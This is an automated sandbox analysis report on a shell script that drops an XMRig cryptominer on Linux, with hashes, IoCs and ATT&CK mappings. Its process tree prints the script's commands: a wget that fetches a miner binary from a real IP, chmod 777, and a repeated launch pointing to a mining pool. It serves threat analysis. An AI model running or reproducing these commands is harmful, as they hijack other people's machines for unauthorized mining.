xmrig | 82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97

Analysis

max time kernel
148s
max time network
20s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29-12-2024 04:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

sa.sh
Size

438B
MD5

52f6ef322dd61383cc5f03bba971ecc1
SHA1

a540ec9917e63a178aa44b3f3570a54ff8c88135
SHA256

82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97
SHA512

c17b540e81ca673cfb39cedb1417bfebb0367d61f9f9315710713bc0167cfb953b2b0fdec2bad0435c4ac423e41935fac7fa76ceb288f07174273b9f32f1d938

Score

10^/10

xmrig xmrig_linux defense_evasion discovery miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

Xmrig family
xmrig
Xmrig_linux family
xmrig_linux
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
737	chmod

Executes dropped EXE 28 IoCs

ioc	pid	Process
/tmp/xmrig	741	xmrig
/tmp/xmrig	764	xmrig
/tmp/xmrig	770	xmrig
/tmp/xmrig	774	xmrig
/tmp/xmrig	783	xmrig
/tmp/xmrig	787	xmrig
/tmp/xmrig	793	xmrig
/tmp/xmrig	797	xmrig
/tmp/xmrig	803	xmrig
/tmp/xmrig	807	xmrig
/tmp/xmrig	813	xmrig
/tmp/xmrig	817	xmrig
/tmp/xmrig	823	xmrig
/tmp/xmrig	827	xmrig
/tmp/xmrig	833	xmrig
/tmp/xmrig	837	xmrig
/tmp/xmrig	843	xmrig
/tmp/xmrig	847	xmrig
/tmp/xmrig	853	xmrig
/tmp/xmrig	857	xmrig
/tmp/xmrig	863	xmrig
/tmp/xmrig	867	xmrig
/tmp/xmrig	873	xmrig
/tmp/xmrig	877	xmrig
/tmp/xmrig	883	xmrig
/tmp/xmrig	887	xmrig
/tmp/xmrig	893	xmrig
/tmp/xmrig	897	xmrig

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 28 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/267/cmdline	pgrep
File opened for reading	/proc/16/cmdline	pgrep
File opened for reading	/proc/2/status	pgrep
File opened for reading	/proc/109/cmdline	pgrep
File opened for reading	/proc/16/cmdline	pgrep
File opened for reading	/proc/149/status	pgrep
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/654/status	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/284/cmdline	pgrep
File opened for reading	/proc/603/status	pgrep
File opened for reading	/proc/43/status	pgrep
File opened for reading	/proc/762/status	pgrep
File opened for reading	/proc/317/cmdline	pgrep
File opened for reading	/proc/108/status	pgrep
File opened for reading	/proc/41/cmdline	pgrep
File opened for reading	/proc/603/cmdline	pgrep
File opened for reading	/proc/169/cmdline	pgrep
File opened for reading	/proc/29/status	pgrep
File opened for reading	/proc/196/status	pgrep
File opened for reading	/proc/16/status	pgrep
File opened for reading	/proc/1/cmdline	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/273/cmdline	pgrep
File opened for reading	/proc/841/status	pgrep
File opened for reading	/proc/650/cmdline	pgrep
File opened for reading	/proc/24/status	pgrep
File opened for reading	/proc/329/cmdline	pgrep
File opened for reading	/proc/4/status	pgrep
File opened for reading	/proc/2/status	pgrep
File opened for reading	/proc/3/cmdline	pgrep
File opened for reading	/proc/6/status	pgrep
File opened for reading	/proc/216/status	pgrep
File opened for reading	/proc/filesystems	pgrep
File opened for reading	/proc/583/cmdline	pgrep
File opened for reading	/proc/26/status	pgrep
File opened for reading	/proc/13/cmdline	pgrep
File opened for reading	/proc/1/status	pgrep
File opened for reading	/proc/1/cmdline	pgrep
File opened for reading	/proc/12/cmdline	pgrep
File opened for reading	/proc/653/cmdline	pgrep
File opened for reading	/proc/8/cmdline	pgrep
File opened for reading	/proc/317/status	pgrep
File opened for reading	/proc/861/cmdline	pgrep
File opened for reading	/proc/106/status	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/108/status	pgrep
File opened for reading	/proc/284/cmdline	pgrep
File opened for reading	/proc/831/cmdline	pgrep
File opened for reading	/proc/654/cmdline	pgrep
File opened for reading	/proc/19/status	pgrep
File opened for reading	/proc/896/cmdline	pgrep
File opened for reading	/proc/643/status	pgrep
File opened for reading	/proc/650/cmdline	pgrep
File opened for reading	/proc/653/status	pgrep
File opened for reading	/proc/8/cmdline	pgrep
File opened for reading	/proc/269/status	pgrep
File opened for reading	/proc/826/status	pgrep
File opened for reading	/proc/1/status	pgrep
File opened for reading	/proc/4/status	pgrep
File opened for reading	/proc/643/status	pgrep
File opened for reading	/proc/650/cmdline	pgrep
File opened for reading	/proc/13/status	pgrep
File opened for reading	/proc/24/cmdline	pgrep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig	wget

/tmp/sa.sh
/tmp/sa.sh
1⤵
PID:651

/usr/bin/nohup
nohup bash /tmp/sa.sh nobg
1⤵
PID:653

/usr/local/sbin/bash
bash /tmp/sa.sh nobg
1⤵
PID:653

/usr/local/bin/bash
bash /tmp/sa.sh nobg
1⤵
PID:653

/usr/sbin/bash
bash /tmp/sa.sh nobg
1⤵
PID:653

/usr/bin/bash
bash /tmp/sa.sh nobg
1⤵
PID:653

/sbin/bash
bash /tmp/sa.sh nobg
1⤵
PID:653

/bin/bash
bash /tmp/sa.sh nobg
1⤵
PID:653
- /usr/bin/wget
  wget http://81.28.10.96/xmrig --no-check-certificate -O xmrig
  2⤵
  - Writes file to tmp directory
  PID:660
- /bin/chmod
  chmod 777 xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:738
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/sleep
  sleep 5
  2⤵
  PID:742
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:763
- /bin/sleep
  sleep 5
  2⤵
  PID:765
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:764
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:769
- /bin/sleep
  sleep 5
  2⤵
  PID:771
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:770
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  PID:773
- /bin/sleep
  sleep 5
  2⤵
  PID:775
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:774
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:779
- /bin/sleep
  sleep 5
  2⤵
  PID:784
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:783
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:786
- /bin/sleep
  sleep 5
  2⤵
  PID:788
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:787
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:792
- /bin/sleep
  sleep 5
  2⤵
  PID:794
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:793
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:796
- /bin/sleep
  sleep 5
  2⤵
  PID:798
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:797
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  PID:802
- /bin/sleep
  sleep 5
  2⤵
  PID:804
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:803
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:806
- /bin/sleep
  sleep 5
  2⤵
  PID:808
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:807
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:812
- /bin/sleep
  sleep 5
  2⤵
  PID:814
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:813
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:816
- /bin/sleep
  sleep 5
  2⤵
  PID:818
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:817
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:822
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/sleep
  sleep 5
  2⤵
  PID:824
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:826
- /bin/sleep
  sleep 5
  2⤵
  PID:828
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:827
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:832
- /bin/sleep
  sleep 5
  2⤵
  PID:834
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:833
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  PID:836
- /bin/sleep
  sleep 5
  2⤵
  PID:838
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:837
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:842
- /bin/sleep
  sleep 5
  2⤵
  PID:844
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:843
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:846
- /bin/sleep
  sleep 5
  2⤵
  PID:848
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:847
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:852
- /bin/sleep
  sleep 5
  2⤵
  PID:854
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:853
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:856
- /bin/sleep
  sleep 5
  2⤵
  PID:858
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:857
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:862
- /bin/sleep
  sleep 5
  2⤵
  PID:864
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:863
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:866
- /bin/sleep
  sleep 5
  2⤵
  PID:868
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:867
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  PID:872
- /bin/sleep
  sleep 5
  2⤵
  PID:874
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:873
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:876
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/sleep
  sleep 5
  2⤵
  PID:878
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  PID:882
- /bin/sleep
  sleep 5
  2⤵
  PID:884
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:883
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:886
- /bin/sleep
  sleep 5
  2⤵
  PID:888
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:887
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:892
- /bin/sleep
  sleep 5
  2⤵
  PID:894
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:893
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:896
- /bin/sleep
  sleep 5
  2⤵
  PID:898
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:897

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/xmrig

Filesize
7.9MB

MD5
8f4fff0ded94f1141768220906abfbb8

SHA1
ea7c97294f415dc8713ac8c280b3123da62f6e56

SHA256
b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d

SHA512
0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee

Download Submit